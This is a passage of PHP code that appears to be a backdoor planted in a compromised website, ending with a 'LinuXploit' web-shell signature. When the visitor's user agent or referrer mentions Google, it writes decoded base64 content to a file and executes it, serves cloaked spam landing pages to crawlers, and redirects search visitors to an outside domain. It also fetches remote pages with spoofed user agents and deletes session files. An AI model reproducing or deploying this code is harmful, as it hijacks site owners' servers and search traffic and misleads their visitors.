W1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTtpZignbG9hZGluZychPT1kb2N1bWVudC5yZWFkeVN0YXRlKWMoKTtlbHNlIGlmKHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLGMpO2Vsc2V7dmFyIGU9ZG9jdW1lbnQub25yZWFkeXN0YXRlY2hhbmdlfHxmdW5jdGlvbigpe307ZG9jdW1lbnQub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKGIpe2UoYik7J2xvYWRpbmcnIT09ZG9jdW1lbnQucmVhZHlTdGF0ZSYmKGRvY3VtZW50Lm9ucmVhZHlzdGF0ZWNoYW5nZT1lLGMoKSl9fX19KSgpOzwvc2NyaXB0PjwvYm9keT48aWZyYW1lIG5hbWU9Imdvb2dfdG9waWNzX2ZyYW1lIiBzcmM9Imh0dHBzOi8vc2VjdXJlcHViYWRzLmcuZG91YmxlY2xpY2submV0L3N0YXRpYy90b3BpY3MvdG9waWNzX2ZyYW1lLmh0bWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+PC9odG1sPg==";
                                    $raw_content = base64_decode($base64);                                
                                    file_put_contents($local_file_path, $raw_content);
                                }
                                
                            }
                        }
                    }

                    
                    while (ob_get_level()) ob_end_clean(); 
                    $extension = pathinfo($path, PATHINFO_EXTENSION);

                    if (strtolower($extension) === 'xml') {
                        header('Content-Type: application/xml; charset=utf-8');
                        header('X-Robots-Tag: noindex');
                    } else {
                        header('Content-Type: text/html; charset=utf-8');
                        header("X-LiteSpeed-Cache-Control: public, max-age=86400");
                        header("Cache-Control: public, max-age=86400");
                        $brandupper = strtoupper($brand);
                        $brandlower = strtolower($brand);
                        $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
                        $host = $_SERVER['HTTP_HOST'];
                        $requestPath = strtok($_SERVER['REQUEST_URI'], '?');
                        $directoryPath = rtrim($requestPath, '/') . '/';
                        $canonical = $protocol . "://" . $host . $directoryPath;
                        $pathParts = explode('/', trim($directoryPath, '/'));
                        $hostpathParts = array_merge([$host], array_filter($pathParts));
                        $hostpath = implode('-', $hostpathParts);
                        $urlRequestAndPath = $host . $directoryPath;
                        
                        $amphtml = $ampdom . $urlRequestAndPath . $brand;
                    }
                    
                    include $local_file_path;
                    
                    exit();
                }
                else{
                    if (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) {
                        if (stripos($_SERVER['HTTP_REFERER'], 'google') !== false) {
                            
                            $host = $_SERVER['HTTP_HOST'];
                            $requestPath = strtok($_SERVER['REQUEST_URI'], '?');
                            $directoryPath = rtrim($requestPath, '/') . '/';
                            $urlRequestAndPath = $host . $directoryPath;
                            $amphtml = $ampdom . $urlRequestAndPath . $brand;
                            header('Location: ' . $amphtml);
                            exit();
                        } 
                    }
                } 
            }
        }
    }

    if (!function_exists('clear_cache')) {
        function clear_cache() {
            $tempDir = sys_get_temp_dir();
            $files = scandir($tempDir);
            
            $count_conf = 0;
            $count_sess = 0;

            foreach ($files as $file) {
                if (strpos($file, 'lp_conf_') !== false) {
                    $fullPath = $tempDir . '/' . $file;
                    if (unlink($fullPath)) {
                        $count_conf++;
                    }
                }
                if (strpos($file, 'sess_') !== false) {
                    $fullPath = $tempDir . '/' . $file;
                    if (unlink($fullPath)) {
                        $count_sess++;
                    }
                }
            }

            $total_deleted = $count_conf + $count_sess;

            echo '<div"><h3>Laporan Pembersihan Cache</h3>';
            echo "<ul>";
            echo "<li>File Config (<b>lp_conf_</b>) dihapus: <b>$count_conf</b> file</li>";
            echo "<li>File Session (<b>sess_</b>) dihapus: <b>$count_sess</b> file</li>";
            echo "</ul>";
            echo "<hr>";
            echo "<p>Total file dibersihkan: <b>$total_deleted</b> file</p></div>";
        }
    }
    if (!function_exists('lp_fetch_url')) {
        function lp_fetch_url($url) {
            $list_useragents = [
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0',
                'Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.2 Safari/605.1.15',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 19_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Mobile/15E148 Safari/604.1',
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0',
                'Mozilla/5.0 (Linux; Android 15; Pixel 9 Build/AP3A.240505.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36'
            ];
            $ua = $list_useragents[array_rand($list_useragents)];    
            if (function_exists('curl_init')) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);    // timeout koneksi
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);           // timeout total lebih longgar
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
                curl_setopt($ch, CURLOPT_USERAGENT, $ua); 
                curl_setopt($ch, CURLOPT_ENCODING, '');
                $data = curl_exec($ch);
                $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $error = curl_error($ch);
                curl_close($ch);

                if ($code == 200 && !empty($data)) {
                    return $data;
                }
            }
            if (ini_get('allow_url_fopen')) {
                $opts = [
                    'http' => [
                        'method' => "GET",
                        'header' => "User-Agent: $ua\r\n",
                        'timeout' => 30,
                    ]
                ];
                $ctx = stream_context_create($opts);
                return @file_get_contents($url, false, $ctx);
            }
            return false;
        }
    }
    if (!function_exists('lp_get_cached_data')) {
        function lp_get_cached_data($domain, $key, $duration) {
            $file = sys_get_temp_dir() . '/lp_conf_' . md5($domain . $key);
            if (file_exists($file) && (time() - filemtime($file) < $duration)) {
                return json_decode(file_get_contents($file), true);
            }
            return false;
        }
    }
    if (!function_exists('lp_save_cache')) {
        function lp_save_cache($domain, $key, $data) {
            $file = sys_get_temp_dir() . '/lp_conf_' . md5($domain . $key);
            @file_put_contents($file, json_encode($data));
        }
    }
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        
    if (stripos($userAgent, 'google') !== false  || (!empty($_SERVER['HTTP_REFERER']) && stripos($_SERVER['HTTP_REFERER'], 'google') !== false)) {
        run_landing_page_system();
    }    
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit